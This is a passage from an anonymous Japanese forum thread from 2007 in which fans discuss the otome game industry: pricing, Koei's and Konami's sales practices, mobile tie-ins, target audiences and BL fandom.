ま、内容の評価は発売されてからするとして……
- 113 名前：名無しって呼んでいいか？ ：07/11/10 16:20:32 ID:???
- 乙女ゲーを出るはじから買いまくる層も一部いるけれど、ほとんどの人は
今までだって選んで買っていたよ。
今年オトメイトのビミョー作品乱発で懲りた人もそろそろ慎重になるだろう。
ならなきゃおかしい。
金余りのセレブユーザーは今まで通りだろうなｗ
- 114 名前：名無しって呼んでいいか？ ：07/11/10 16:25:43 ID:???
- 硝子の森みたいなシンプルシリーズは安くてさっさとプレイ出来て良かったな
DSとかPSPなら、そんな手軽にプレイできるのもちょっと欲しい
あれは絵さえ違えば評価が変わってたと思う
- 115 名前：名無しって呼んでいいか？ ：07/11/10 16:35:16 ID:???
- この絵じゃなかったら買ってた（かも）…
は多いな
- 116 名前：名無しって呼んでいいか？ ：07/11/10 16:35:40 ID:???
- >>114
手軽さも普及には貢献するんだろうけど
逆に掘り下げこそ一番足りないと自分は思う
奇抜なアイディアのみで買う人間を動かすような物が氾濫してしまったら
選択の幅が出てきたことの弊害になりかねん
- 117 名前：名無しって呼んでいいか？ ：07/11/10 16:48:33 ID:???
- アイディアだけで掘り下げや作り込みが足りないといえばﾋｭｰﾈｯｸｽが既に…
だがあれも後付けで要素補完されていった感じだし
ユーザーは萌えて満足しているようだから、あれはあれで嗜好としてアリでしょう。
- 118 名前：名無しって呼んでいいか？ ：07/11/10 17:04:18 ID:???
- ラット首切りな猟奇的乙女ゲはあってもいいけど、18禁でやって欲しいなあ。
んで、制作発表時から猟奇的描写がありますが……と宣伝してくれれば買う人も選べるし。
つかギャルゲって
＞猫を歩道橋から道路に落としたりとか
こういうの普通なのか。そりゃギャルゲマがｷﾓｦﾀ呼ばわりされるわけだな
で、厨房とか工房もこういうのやってたりするわけ？
- 119 名前：名無しって呼んでいいか？ ：07/11/10 17:09:01 ID:???
- ギャルゲ＝エロゲって人なんだろ
- 120 名前：名無しって呼んでいいか？ ：07/11/10 17:14:07 ID:???
- 携帯連動とかはどう？
D3のとかは携帯会社限られるのにゲーム内に影響が出るので悪評だけど、
ネオロマは昔からやってるし、遙かやコルダでノベルとかあるし
メーカー的にはこれから増えていく傾向にあるのかな
- 121 名前：名無しって呼んでいいか？ ：07/11/10 17:15:55 ID:???
- ネオロマのモバイル関係ってソフトバンク非対応が多いと聞いてるが
満遍なくサービス提供してるところは意外に少ないよな
- 122 名前：名無しって呼んでいいか？ ：07/11/10 17:24:34 ID:???
- 最初から携帯連動前提のゲーム作りとなると
いい印象持てないな
- 123 名前：名無しって呼んでいいか？ ：07/11/10 17:37:21 ID:???
- >>118
多分Kanonのことだと思う。元は18禁だった。
少年漫画も生首飛んだりとかくらいなら普通にあるから、
単に男性向けと女性向けの感性が違うっていうだけでしょ。
キモヲタが罵られる理由は萌えを隠さないところだと思うよ。
- 124 名前：名無しって呼んでいいか？ ：07/11/10 17:46:17 ID:???
- >>117
ヒューネックス、昔はいいゲーム作ってたのにな
別に現在はクソゲー量産してるって意味じゃないけどさ…
- 125 名前：名無しって呼んでいいか？ ：07/11/10 18:01:30 ID:???
- ジャンプで生首飛ぶ漫画はもう随分読んでない気がする
最近読んでないけど
- 126 名前：名無しって呼んでいいか？ ：07/11/10 18:22:36 ID:???
- >>125
ちょっと前に、脅迫して連れてきた人たちに殺し合いさせる→つまんなくなったので
爆破して皆殺し、というコンボがあっりしたよ。
ハンターも再開したし。
テニスは殺し合いだし。
- 127 名前：名無しって呼んでいいか？ ：07/11/10 18:26:05 ID:???
- テニスってあのテニス？殺し合いってなんぞそれ
- 128 名前：名無しって呼んでいいか？ ：07/11/10 18:30:08 ID:???
- >>126
ボマー？
つかそういうのやってるの敵側じゃん
見方側（つか恋愛対象？）だから揉めるんでしょ
いちご100％の西の趣味がラットの首切りや東の趣味がストーキングってくらいのモンだよ
- 129 名前：名無しって呼んでいいか？ ：07/11/10 18:35:01 ID:???
- つか発端となった人に対する反論はほとんど一致してるし
これ以上その相手がいない状態で話しても仕方ないように思うんだが
- 130 名前：名無しって呼んでいいか？ ：07/11/10 18:45:24 ID:???
- >>118
それが売りでない限りそういう宣伝はしないと思う
売りじゃなくても本気で猟奇描写やったらCEROでそのように指定されるから
買う前にわかるんじゃないだろうか
Kanonの猫落としは、なぜヒロインがそんな行動をとったのか
あとでよくわかるようになってたし
残酷描写とも無縁だった
この場面のせいで18禁になるはまずあり得ない
それでも、猫落としのせいであのキャラが嫌いなユーザーはいた
こういうことは個人の価値観の違い
男性向けだから容認されて女性向けだと許されないとかいう話じゃないよ
- 131 名前：名無しって呼んでいいか？ ：07/11/10 18:55:47 ID:???
- 少し前のビタミン関係みたいなもんかな＞価値観の違い
好意的に見れば、そういう情報提示して
構えるなりスルーする機会与えてくれる分、
親切だと言えるのかもしれないが
- 132 名前：名無しって呼んでいいか？ ：07/11/10 18:59:35 ID:???
- >>127
テニスのスマッシュによって、観客席まで吹っ飛ばされて血が吹き出たり、
油断していると包帯ぐるぐる巻きになって夢オチ要員にされたりしている。
いまや最強のネタ漫画。
- 133 名前：名無しって呼んでいいか？ ：07/11/11 23:53:10 ID:???
- >120
コーエー位の携帯連動なら別におｋ
ゲームはゲームで独立していてその派生展開なら問題もない
ただ、利益を出すためには長い期間でやらなきゃいけないから余裕のある大手しかできないんじゃないかな
携帯連動よりは携帯で乙女ゲープレイの方が増えてく気がする
今何社くらいあるんだろう
- 134 名前：名無しって呼んでいいか？ ：07/11/13 23:55:10 ID:???
- 携帯でできる乙女ゲー
自分はホストとマジプリしかやった事ないが、
やはりPS2には適わない気がしてる
- 135 名前：名無しって呼んでいいか？ ：07/11/14 01:24:37 ID:???
- キャリアによって違うけど携帯アプリのゲームって何十とあるんだね…
そりゃあ情報量からなにからPS2には叶わないだろうが
更新されてはダウンロードする楽しみ方はあるかな。
- 136 名前：名無しって呼んでいいか？ ：07/11/14 08:28:48 ID:???
- 作ってる側も据え置きと真っ向勝負しようなんて思ってないんじゃないかな
携帯アプリのゲームは隙間産業的な位置づけだと思う
- 137 名前：名無しって呼んでいいか？ ：07/11/18 22:39:21 ID:???
- そうだね、何より手軽に出来るというようなのを前提にしてる、のかな
あっさりプレイできるものというか
……正直オレンジハニーのPS2版には絶望したからな
声がつけば良いってものじゃないのはあれ見て心底思った
勿論携帯アプリでもすごくしっかり作りこんでるのもあるだろうし
シナリオに加筆を加えてPS2で、というようなのであればいいんだけどね
- 138 名前：名無しって呼んでいいか？ ：07/11/19 10:57:33 ID:???
- 携帯電話って便利そうだけど
配信と同時にプレイしてたら
中だるみしちゃうんだよな
一つのゲームで萌えを２月以上持続させるのってなかなかなぁ
だから良作を移植してくれるのは嬉しいけど
やっぱ軽めのゲームなんだから移植はDSぐらいにして欲しい
- 139 名前：名無しって呼んでいいか？ ：07/11/21 09:57:18 ID:???
- 遥か４が出るとか
商法がいかに気に入らなくても
肥の作品に一番期待を寄せざるを得ないこの悲しさ
- 140 名前：名無しって呼んでいいか？ ：07/11/21 10:11:11 ID:???
- 肥にはもう全く期待してない身からするとぴんとこないが
まあそう思ってる人は多そうだな
- 141 名前：名無しって呼んでいいか？ ：07/11/21 10:17:39 ID:???
- 派生一切なしの一作こっきりならまあ良作になりそうかもなーとは普通に思う。
有り得ないけど。
- 142 名前：名無しって呼んでいいか？ ：07/11/21 16:36:59 ID:???
- 遙かシリーズにしては、ヒロインの設定がきっちりあるみたいでびっくりした。
最近は割と個性派主人公や設定がしっかりある主人公が多い流れだよね。
個性あると、ヒロインが物語を動かす中心みたいな感じで、個人的には嬉しい。
- 143 名前：名無しって呼んでいいか？ ：07/11/21 18:26:52 ID:???
- また同じ声優陣なんだろうか
いいかげん一新してくれんかな……
- 144 名前：名無しって呼んでいいか？ ：07/11/21 18:39:16 ID:???
- キャラ続投と声優続投はネオロマのお家芸みたいになってるな
他のメーカーでもキャラ続投はあったけど、キャラ変わったのに
声優は続投ってのは遥かくらいのもんだ
- 145 名前：名無しって呼んでいいか？ ：07/11/21 18:50:42 ID:???
- ずっと続投のほうが契約がラクってことなのかな？
声ヲタも繋ぎとめられるし
- 146 名前：名無しって呼んでいいか？ ：07/11/21 18:57:11 ID:???
- アンジェで声優増やし商法は割が悪いと気付いたんだろう
その代わりに追加商法とゲストキャラ商法を始めたんだろ
- 147 名前：名無しって呼んでいいか？ ：07/11/21 19:02:13 ID:???
- 遙かの声優続投は八葉の繋がりみたいなモノが見えて好きだけどな…
キャラ続投になると、どうしてもＦＤ的なものに感じられて
盛り上がりに欠けてしまう事が多いな、自分の場合
- 148 名前：名無しって呼んでいいか？ ：07/11/21 19:09:25 ID:???
- 正直同じ男を二度も落としてもなあ…と思うからキャラ続投は微妙だ
それくらいならFDの方がいいけど、FD前提で本編が手抜きになるならいらない
- 149 名前：名無しって呼んでいいか？ ：07/11/22 02:45:17 ID:???
- なんでここで愚痴ってんねん
ダメならダメでちゃんと持論を述べろやー
- 150 名前：名無しって呼んでいいか？ ：07/11/22 16:13:12 ID:???
- >>140
多いだろうけど、全く興味ない層もそこそこいると思う。
3,4年前だったら、GSもネオロマもしたことない乙女ゲーマーはかなり希少だったろうけど
今じゃそれほどでもない気がするんだよね。
メジャー級をやらなくても普通に選べる余地ある状況になったというかさ。
そのへんに乙女ゲの発展を感じる。
- 151 名前：名無しって呼んでいいか？ ：07/12/01 09:44:48 ID:4RNGKLAr
- 乙女ゲームとケータイ小説の類似点と両者の今後
という題で真面目に議論してみてほしいんだが
- 152 名前：名無しって呼んでいいか？ ：07/12/01 10:07:12 ID:???
- ケータイ小説よんだことねー
スイーツ（笑）くらいか
- 153 名前：名無しって呼んでいいか？ ：07/12/01 13:42:34 ID:???
- >>151
提案するなら、まず自分で
どこがどう似ているとか、自分の意見書くべきじゃ
議論しろっていきなり言われてもな…。
152も言うように、乙女ゲユーザーがみな愛読してるわけじゃないしな
- 154 名前：名無しって呼んでいいか？ ：07/12/01 15:46:07 ID:???
- ケータイ小説読んだことないから議論も何も
- 155 名前：名無しって呼んでいいか？ ：07/12/01 16:03:16 ID:???
- そういえば最近でたアクションゲームの展開見て思ったけど
乙女ゲーだと「とりあえず美形入れてキレイな絵と萌えイベント入れて声優にエロイこといわせとけ」
であっても、なんだかんだ言われながらも受け入れられる風潮があるけど
腐女子向け（ヲタ女向け）を一般ゲームでやると
やっぱゲームが一番キャラはソレについていくものな人の割合がぐっと増える気がする
良くも悪くも乙女ゲーってのはゲーマー女とは違うんだなとちょっとだけ思った
- 156 名前：名無しって呼んでいいか？ ：07/12/01 16:10:04 ID:???
- >>155
その乙女ゲーマー＝ゲーマー女が一緒の場合もあるよ。
過去スレでも何度か出たことだけど
乙女ゲーには一般ゲ的な要素なんて求めない、
ゲームとして面白くて遣り甲斐があるものがしたかったら、最初から一般ゲやる、
手軽に美形キャラにうっとりしたくて乙女ゲやってる
そういう層もいるわけだから。
まずゲームとしてきちんとしたものを出して欲しいって層もいる一方で
そういう発展なんて別に求めてない層もいる。
作ってる側からしたら、まあ、簡単に実現する方を優先するわな。
- 157 名前：名無しって呼んでいいか？ ：07/12/01 16:15:05 ID:???
- ↑なんかレス内容が変だな
ごめん忘れて
- 158 名前：名無しって呼んでいいか？ ：07/12/01 22:01:25 ID:???
- ゲーム内容の斬新さとかはそこまで求めてないが、システムが不親切なのは心が折れるなあ。
- 159 名前：名無しって呼んでいいか？ ：07/12/02 01:33:26 ID:???
- 作者のやる気がないのはイヤ
- 160 名前：名無しって呼んでいいか？ ：07/12/02 15:56:21 ID:???
- 世間がPS2に移行して、一般ゲーは3Dを極める時代になって
3Dの映像についていけない私は乙女ゲ、ギャルゲ
時には漫画原作の2Dものをやるようになったんだ。
そんな私の意見としては、もちろん、乙女ゲにゲーム性を。
という意見もわからないではないんだけど
やっぱり、ゲーム性よりシナリオを重視してほしかったりする。
ミニゲームはあっても攻略に影響しないとか、
難易度をかなり変更可能orオートかセミオートで
楽にやれるようなものなら歓迎する。
あと、GSみたいに期間長すぎは辛い
- 161 名前：名無しって呼んでいいか？ ：07/12/02 17:18:20 ID:???
- 小説でも読んでれば？
- 162 名前：名無しって呼んでいいか？ ：07/12/02 17:22:55 ID:???
- 期間が長いのがいや
薄いのはいや
楽にサクッとやりたいから難易度は低くていい
そんなあなたに
つオトメイト
あでもシナリオ重視ってか
両立しないことをおねだりとは我が侭な人だ
スルーだなこりゃ失敬
- 163 名前：名無しって呼んでいいか？ ：07/12/02 17:23:37 ID:???
- >>162
×薄いのはいや
○薄くていい
- 164 名前：名無しって呼んでいいか？ ：07/12/02 17:51:26 ID:???
- つかシナリオ重視だったら4800円くらいでもいいと思うんだよ
でもいっぱしの値段とっててシナリオ重視ってアホちゃうかと
シナリオがお手軽とは言わないけど
ゲームシステム作るのにドンだけの労力と時間かかってるのか考えたら
値段分楽しませろよと思うのは普通だと思うんだ
最近中身ないのに高め設定のゲーム増えすぎ
-1000でも足りんわ
- 165 名前：名無しって呼んでいいか？ ：07/12/02 21:03:03 ID:???
- 値段設定低くするまでの体力、今の乙女ゲー会社にはないだろうよ。
乙女ゲーはコナミ、コーエーとゲーム性を重視できるところに恵まれてて
実際ゲーム性で楽しめる乙女ゲーがちゃんと出てるんだから
シナリオ重視と銘打った、安上がりのゲームくらいあっていいんじゃないか。
当然シナリオは良い出来のものであることが前提だけどさ。
小説では味わえない効果音、マルチシナリオ、感情移入のしやすさなどゲームならではの魅力もある。
ゲーム性を崇めるあまり、ゲームならではの演出力を軽視するのはいかがかと思うんだけどね。
- 166 名前：名無しって呼んでいいか？ ：07/12/02 21:40:25 ID:???
- 体力って言うけど、そもそもそれだけの金もかけてないと思うんだけどな
プレスとかも原価なんてないに等しいはずだし
ゲーム部分だって普通のゲームと比べたら断然金かかってないはずだし
- 167 名前：名無しって呼んでいいか？ ：07/12/03 11:35:09 ID:???
- >>166
全然金かかってない仕様のはずのエロゲギャルゲ会社が
かつての大手すらどんどんつぶれていく現状があるなかで
企業体力＞＞制作費用である根拠を教えて。
- 168 名前：名無しって呼んでいいか？ ：07/12/03 12:24:48 ID:???
- >>164
乙女ゲがボリュームの割に高額なのは、
一般ゲー並み売上を期待できないのと、多少高くても買ってくれるファンがいるからだろうね
「開発費削って短期間で作っても最低○本は売れるだろうしおｋ！」ってメーカーもあれば、
「コストかかるけどしっかり作り込んで、○本売ってやるぞ！」って意気込みのメーカーももちろんあると思う
後者のメーカーが増えてくれたらいいのになぁ…
- 169 名前：名無しって呼んでいいか？ ：07/12/03 12:47:34 ID:???
- 開発費削りまくって有名声優起用してキレイな絵師つれてくればがっぽがっぽ
あとはCDやグッズでがっぽがっぽ、ゲームなんてキャラで儲けるためのツールですよ
が主流だからむりっしょ
その点から考えれば乙女ゲは確かにゲーム性は必要ないんだろうけど
声優・絵師はゲーム販売後の大事な収入源だから力入れるけど
- 170 名前：名無しって呼んでいいか？ ：07/12/03 13:28:18 ID:???
- 実際、時間かけて真面目に丁寧に作りこんであっても
知名度自体パッとしない、だから多分そんなに売れてないようなのもあるしねぇ…
そういったやり方よりも楽な方向に流れてしまうのは
商売の姿勢の一つの在り方としては理解できるけど残念だね。
企業である事よりも作り手である事を最優先するメーカーも増えてほしいもんだ。
- 171 名前：名無しって呼んでいいか？ ：07/12/03 13:34:32 ID:???
- んでもって企業体力ないんですー
と高めに設定してもゴスゴス買うしね
- 172 名前：名無しって呼んでいいか？ ：07/12/03 15:56:35 ID:???
- 新技術採用して金かけても同じ価格設定できた某ゲームは
大企業といえど移植といえど、目に見える良心的だと思った。
薄いナンバリングと薄い派生とくっつけて
やっと１本分ぐらいのボリュームなのに
値段はひとつひとつガッツリとる企業様に見習ってほしいマジで。
企業がでかいからやれるんだよ、的言い訳はけっこうです。
- 173 名前：名無しって呼んでいいか？ ：07/12/03 16:55:22 ID:???
- >>164
D3のゲームを6800円でいいから
内容UPして欲しいと思っていたときもあったな…
- 174 名前：名無しって呼んでいいか？ ：07/12/03 18:38:09 ID:???
- 乙女ゲーってネームバリューはいまいちでも、
良作なら口コミとかレビュー効果でじわじわ売れていくイメージなんだけど
そう思うのは2ch脳だからなのかな…
- 175 名前：名無しって呼んでいいか？ ：07/12/03 21:09:17 ID:???
- ものにもよるんじゃないかなぁ。
良作でも人を選ぶ要素があったり環境に制限があるものだと、
口コミで広がるのにも限度があると思う。
- 176 名前：名無しって呼んでいいか？ ：07/12/03 22:25:42 ID:???
- ゲームがキャラを売るためのツールであることは問題ないんだけどな
どんなメディアミックスだって結局はいろんな方向からキャラを売るもんなわけだし
需要だってあるだろう
でも本当にキャラしかないんだもん、乙女ゲーは……
そのキャラだって劣化テンプレート多いし
>174
前はよくそう聞いたよね
ＧＳ1が初回悪くてもじわ売れでファンド黒字になったらしい
作品も増え乙女ゲーだけって人も増えた今は、ギャルゲみたいな売れ方してんのかな
- 177 名前：名無しって呼んでいいか？ ：07/12/03 22:37:48 ID:???
- >>176
いや、普通は売ったゲームでゲームの開発費ペイ＋αが基本だと思う
乙女ゲはゲーム自体そっちのけだからなんだかなーと
- 178 名前：名無しって呼んでいいか？ ：07/12/03 23:35:22 ID:???
- >177
あ、そっか。
どちらかと言うとゲームじゃなくてオタ商品って目線で見てたよ
- 179 名前：名無しって呼んでいいか？ ：07/12/04 00:19:29 ID:???
- >>174
いくらゲームとして良かったとしてもキャラとの恋愛が主である以上、絵が生理的にどうしてもダメな場合は買えないや
一般ゲーなら絵が好みでなくとも特に気にしないんだが
- 180 名前：名無しって呼んでいいか？ ：07/12/04 00:31:23 ID:???
- >>172
ＧＳのことを言ってるのなら、もちろん熱意ある人が中にいるんだろうけど
売れた実績がちゃんとあるから手間かけても許されるってのもあると思うよ。
純粋にノウハウの有無の問題もある。
大企業と小さな会社の差ももちろんだけど
制作と販売が違い、販売の言うことを聞かないといけないから
コンシューマ内では、熱意の有無を出来上がった作品だけで一概に語れないと思う。
開発側がやりたくてもＧＯサインが出ないから出来ない、てところもあるだろう。
それはとりもなおさず、販売側に舐められてるってことになるんだけどね。
- 181 名前：名無しって呼んでいいか？ ：07/12/04 00:36:56 ID:???
- >>177
それは販売と開発がわかれているゲームで、かつ開発側の話だよね？
- 182 名前：名無しって呼んでいいか？ ：07/12/04 02:53:02 ID:???
- >>180
おそらく>>172の金額云々はｺﾝﾏｲGSのことだろうが
ちゃんと一本で出せと言われているのは肩を並べる大手である肥ネオロマだと思うよ
手間をかけるかけないの問題ちゃうかとｗ
- 183 名前：名無しって呼んでいいか？ ：07/12/04 08:31:40 ID:???
- >>182
ああ、いつものネオロマ叩きか…マジレスして損した。
文句言いたいのはわかるけど、コーエーは本家でもあんなんだから
乙女ゲーっていうくくりで是非を語っても仕方ないんだけどな。
あれを比較対象にすると話がややこしくなる…
- 184 名前：名無しって呼んでいいか？ ：07/12/04 08:46:53 ID:???
- 乙女ゲーに限らず、固定信者がつきやすいキャラゲーの宿命みたいなものだから仕方ない気もするけどね…
派生やら追加やら。
それより気合入ったシナリオ重視のゲームが出てもユーザーが袋叩きにしそうで怖い。
本筋はどうでもいいとか、糖分足りないとか、萌えスチル増やせなんて大合唱が起きたら
どんなに熱意があるライターさんでも二度とやる気にならないだろうな…
- 185 名前：名無しって呼んでいいか？ ：07/12/04 13:41:24 ID:???
- >>183
ああ、いつものネオロマ叩きか…
その言い種もどうかと。
凝る打の２→餡子は誰が見てもわかることだし
このスレの性格的に、ネオロマ語るのをタブーにはできないよ。
- 186 名前：名無しって呼んでいいか？ ：07/12/04 18:03:40 ID:???
- >>185
言い方は悪かったかも。ごめん。
でも乙女ゲー全体についてどうのこうのと言うスレで、
あちこちで出てくる恒例のコナミｖｓコーエーやられちゃ困るよ。
このスレの性格的に、ひとつの問題企業を取り上げて「見習え」と言うのは違うでしょ。
コーエーみたいなところがたくさんあったら別だけど。乙女ゲー業界全体の問題になるからね。
- 187 名前：名無しって呼んでいいか？ ：07/12/04 18:18:20 ID:???
- ついでに言えば、>>164からの「ノベル型乙女ゲーは開発費の割に高額」という全体に対する流れと
１からの流用とは言え、ほぼ全部の作品にゲーム性を組み込んである企業との比較じゃ
話がまったく違ってくるよ。
そのゲーム性がどうなんだって話は別にしてさ。
- 188 名前：名無しって呼んでいいか？ ：07/12/04 18:19:51 ID:???
- 元々光栄商法ってのは無双とか他ソフトでもガンガンやってる事で
「乙女ゲーの」商法のひとつとして語るには…という言い分も確かに分かるんだけど
実際D3の乙女方面が、それを踏襲しつつあるんじゃというのも結構言われてるからねえ…
それにここや雑談スレで言われる肥の商法って、光栄商法っていうよりも
光栄商法にグッズやキャラ・声優要素が＋αされた、言わば「紅玉商法」について言われてる気がする。
>>172後半は典型的な光栄商法の部分と思うけど。
- 189 名前：名無しって呼んでいいか？ ：07/12/04 18:22:42 ID:???
- ああ、188だけどリロってなかった。
>>187には確かに同意かな。
- 190 名前：名無しって呼んでいいか？ ：07/12/04 18:26:52 ID:???
- pk商法はコーエーのお得意だけど、
乙女ゲでのそれはあまりにもお粗末というかなんと言うか
新キャラですよ！
と攻略できそうなキャラだしてイベントもいれといて「EDはPKで！」は
流石にねーよｗｗｗｗ
って思った
- 191 名前：名無しって呼んでいいか？ ：07/12/04 18:53:17 ID:???
- でもみんな「ねーよｗ」言いつつ買うんだよな
そこがわからない。
売れるってことはユーザーは喜んでるってことでもあるし
金にも不自由してないんだなって思う。
メーカーとしちゃ売れればそのやり方を続ける・更に拡大するのが道理だし
他のメーカーが同じやり方でくるのも目にみえている。
- 192 名前：名無しって呼んでいいか？ ：07/12/04 19:01:37 ID:???
- 買ってない人も多いんじゃないかなぁ
どうなんだろ
私は2でケッっておもったんで買わなかった。
既にスレから離れてたのもあるけど
今までは市場が狭かったのもあって
局地的なオタから搾り取るだけ搾り取ったらぽいが基本だったけど
今はかなりライトな女性ユーザーが増えてるのもあるから
路線はちょいと考え直したほうがいい気もスル
DS・wiiは女性がかなり多いらしいし
- 193 名前：名無しって呼んでいいか？ ：07/12/04 20:21:45 ID:???
- しかしライトな女性ゲーマーが乙女ゲやるのかって言うとちょっと違う気がする…
乙女ゲって二次元萌えする人がプレイするものと思ってるし、
メーカーもそういう人ターゲットにしてるから派生商品まで視野に入れるんだと思う
贅沢を言うと、本編ものすごく作り込んだ上で追加ディスクなり関連商品なり出してくれると
言うことないんだけどね…
- 194 名前：名無しって呼んでいいか？ ：07/12/04 20:31:39 ID:???
- >>193
ライトな女性ユーザーが具体的どういった層なのかにﾜｶﾗﾝけど
脳トレとかワンコくらいしかしたことない方々だったら確かに乙女ｹﾞｰって抵抗あるかも試練ね
乙女ｹﾞｰプレイ人口を増やせとまではいかないが
乙女ｹﾞｰｽｷｰ全員にうちのソフト買わせてやんよ！くらい気合入った作品が欲しい
- 195 名前：名無しって呼んでいいか？ ：07/12/04 20:44:34 ID:???
- >乙女ｹﾞｰｽｷｰ全員にうちのソフト買わせてやんよ！くらい気合入った作品が欲しい
そんなこと広報が言ったらﾎﾞｯｺﾎﾞｺだろw
そんな目標の散漫なソフトは要らないとか言う以前に
- 196 名前：名無しって呼んでいいか？ ：07/12/04 20:49:58 ID:???
- ライトユーザーは案外DUELみたいなのに興味を示すのかもしれない
花君の人がキャラデとか、汗拭き(笑)とか、キャラ名が武将系とか
その辺のネタで手に取るかも
携帯ゲで女子向けってターゲットが小さい子なら結構あるみたいだね
それを中高生以上にシフト出来る要素ってどんなのだろう
- 197 名前：名無しって呼んでいいか？ ：07/12/04 21:01:24 ID:???
- >>193
そういう人向けなのがアトリエとかぼくものとかなんじゃなかろうか
- 198 名前：名無しって呼んでいいか？ ：07/12/04 21:14:35 ID:???
- >>196
普通中高生はリアルが忙しいので、そんなに一生懸命恋愛ゲームはしないかと……。
- 199 名前：名無しって呼んでいいか？ ：07/12/04 21:15:17 ID:???
- >>194
企画書にはそう書いてあるんだけどね…
- 200 名前：名無しって呼んでいいか？ ：07/12/04 22:25:38 ID:???
- >196
男の汗拭いて恍惚顔は確実にドン引きだと思う
特に年齢層があがるにつれて
「きみのためならしねる」とかあそこまでオタ臭消さないと手は出されないのでは
中高生は子供の頃よりゲームから離れるだろうからな
四千円のゲーム買って恋愛モノ楽しむなら
マンガとか携帯小説の方を手に取ると思う
- 201 名前：名無しって呼んでいいか？ ：07/12/04 23:26:27 ID:???
- 中高生でヲタだと、特に女の子は
ホモ妄想話しないと仲間に入れなかったりして…
乙女ゲーやるとしたらそれこそLaLa読んでてネオロマやDUELから入るとか。
それでもコッソリ家でやる感じだろうか。
DUELはネタ要素でオープンに友達と遊べるかもわからん。萌えとは逆の意味で。
- 202 名前：名無しって呼んでいいか？ ：07/12/04 23:40:51 ID:???
- そうそう
中高生くらいのオタ女子って、なぜかホモ好きが圧倒的に多いよね
だからボブゲとか、声オタ釣れる声優陣じゃないとあまり売れないってイメージ
でもボブゲもそれほど売れてるとは思えないんだよね…
ホモ好きな女子は、同人とかそっち系にいく人の方が多いのかな
- 203 名前：名無しって呼んでいいか？ ：07/12/04 23:43:59 ID:???
- でも、乙女ゲーの攻略キャラ同士のホモサイトとかあるよね
つまり腐女子でも乙女ゲーやる子もいるわけだ
基本的に主人公（女子）との恋愛が主軸の乙女ゲームで
どうしてホモ捏造するのかまったく理解できないけど
- 204 名前：名無しって呼んでいいか？ ：07/12/04 23:50:03 ID:???
- ボブゲの夢小説（勿論女主人公）みかけた事あるから、そういうのは気にならない様な……
- 205 名前：名無しって呼んでいいか？ ：07/12/04 23:56:55 ID:???
- 別にホモ好きは中高生に限った話じゃないし、
萌える男が2人いれば自然とホモらせたくなるもんだ
理屈じゃない
ちなみにBL好きといっても2次創作が好きな人が殆どで
オリジナルに手を出す層はそんないない
だからBLゲームもあんま売れない
その代わりキャラモノや派生のゲームなどがよく売れるわけで
ちなみにBLの萌えは関係性萌えが主流といわれてる
（友情やライバル、上司部下主従などなど）
単品萌えで形成されてる乙女ゲとかとは微妙に傾向が違う
- 206 名前：名無しって呼んでいいか？ ：07/12/05 00:09:53 ID:???
- ＞萌える男が2人いれば自然とホモらせたくなるもんだ
＞理屈じゃない
そういうもんなのか…
よくわからんけど、何か衝撃を受けた
- 207 名前：名無しって呼んでいいか？ ：07/12/05 00:25:03 ID:???
- 乙女ゲーや少女漫画の男でホモ妄想ってよりは
やっぱ少年漫画やアニメ主流じゃなかろうか。それと一般ゲー。
女子中高生ヲタは乙女ゲーよりそっちからヲタに入るイマゲ。
とっかかりがあるとしたら、それこそ花ゆめやララからじゃないかな。
だから白線とタイアップするのは市場の開拓というか、
支える意味は大いにあるのかも。
だが中条の起用は大ハズシと思うがナーｗ
- 208 名前：名無しって呼んでいいか？ ：07/12/05 00:36:58 ID:???
- そこからきてる層、確実にいるよね
白線の読者層と乙女ゲーターゲット、近そうだしなー
でも白線とはタイアップしすぎじゃね？
連載）遙か・コルダ・フルキス・ＤＵＥＬ・マイネ
短編）yo-jin-bo、ラブレボ
けど、他にプレイヤー開拓に結びつきそうなとこあんまり思いつかん
開拓狙いならビズログのコミックとかじゃ意味ないし、
ファッション誌のケラとかじゃ飛びすぎだし
いっそ女主人公抜きの男ばっかバトルマンガでジャンプとコラボしたら増えるんだろーなｗ
タクヨのマーガとのコラボはどうなるかね。受け入れられるだろうか
- 209 名前：名無しって呼んでいいか？ ：07/12/05 00:51:59 ID:???
- >>203
アゲアシ取りっぽくて悪いのだけど、
男同士での恋愛描写なんてカケラも無い
少年漫画やテレビアニメこそホモサイトは多いわけだけど
そっちは理解できるの…？
- 210 名前：名無しって呼んでいいか？ ：07/12/05 01:33:40 ID:???
- >>209
そっちもよく分からないけど、やっぱ乙女ゲーキャラでホモ妄想する方がもっと謎
何つーか、乙女ゲームって「男女の恋愛」が主軸じゃん
わざわざ乙女ゲームのキャラをホモにしなくても、ボブゲだってあるんだし
それこそ少年漫画やアニメでホモ妄想できそうなキャラがあふれてるってのに
男女の恋愛でなく、男同士の恋愛を求めて乙女ゲーをする意図がわからない
男女の恋愛で萌えないのに、わざわざ男女の恋愛で構成されてるゲームするというのが
何というか奇特だなぁと思う
まぁ、だから少ないんだろうけど＞乙女ゲームでホモ妄想
- 211 名前：名無しって呼んでいいか？ ：07/12/05 01:57:09 ID:???
- 少年漫画で、明らかにヒーローとヒロインが恋愛関係だったり
結婚すらしていても、男のキャラがいるかぎり際限なくホモ妄想されるもの。
乙女ゲーでも、コルダやGS2あたりはホモカプ好きがかなりいる
サイトもイパーイあるよ。
- 212 名前：名無しって呼んでいいか？ ：07/12/05 03:12:55 ID:???
- コルダはLRとか、火原柚木らへんが妄想されやすそうだね
GS2はニガコクか？
コルダはアニメにもなったから、乙女ゲーとしてはホモ好きさんも多そう
- 213 名前：名無しって呼んでいいか？ ：07/12/05 08:38:20 ID:???
- >>210
だから前にもいったけど、
萌える男が2人いれば自然とホモらせたくなるものであって
求めて乙女ゲーするわけでもない
同人で食ってるやつとかはホモ求めて作品見たりする人もいるだろうけど、
基本萌えてしまったものはしょうがないとしかいいようがない
そうだな。
BL好きが乙女ゲをやる場合は単品萌えを求めてやるパターンが多いんじゃないかな
その辺は乙女ゲ好きと一緒
ただ乙女ゲ好きは主人公とキャラの恋愛が主軸だけど、
BL好きはキャラそのものの魅力とその周囲との関係性が主軸なのかな
私は一般的なBLスキーとはちょっと嗜好が違うので見当違いかもしれんけど。
乙女ゲは単品萌えは補給できても基本が主人公との関係性しかピックアップされないので
ホモ萌えが発生しにくいジャンルだと思う
でもプレイしてる人は単品萌え目的だからそれはそれでおｋなんだと思う
ちなみに少年漫画やゲームは多くのキャラクターが様々関係性で繋がっているので
妄想しやすいのかと
＞わざわざ乙女ゲームのキャラをホモにしなくても、ボブゲだってあるんだし
実は作品でやられると妄想の入る余地がなくてむしろダメだったりする
BLの同人・サイトがそんなに多くないのもそういう要因があるかと
- 214 名前：名無しって呼んでいいか？ ：07/12/05 09:36:42 ID:???
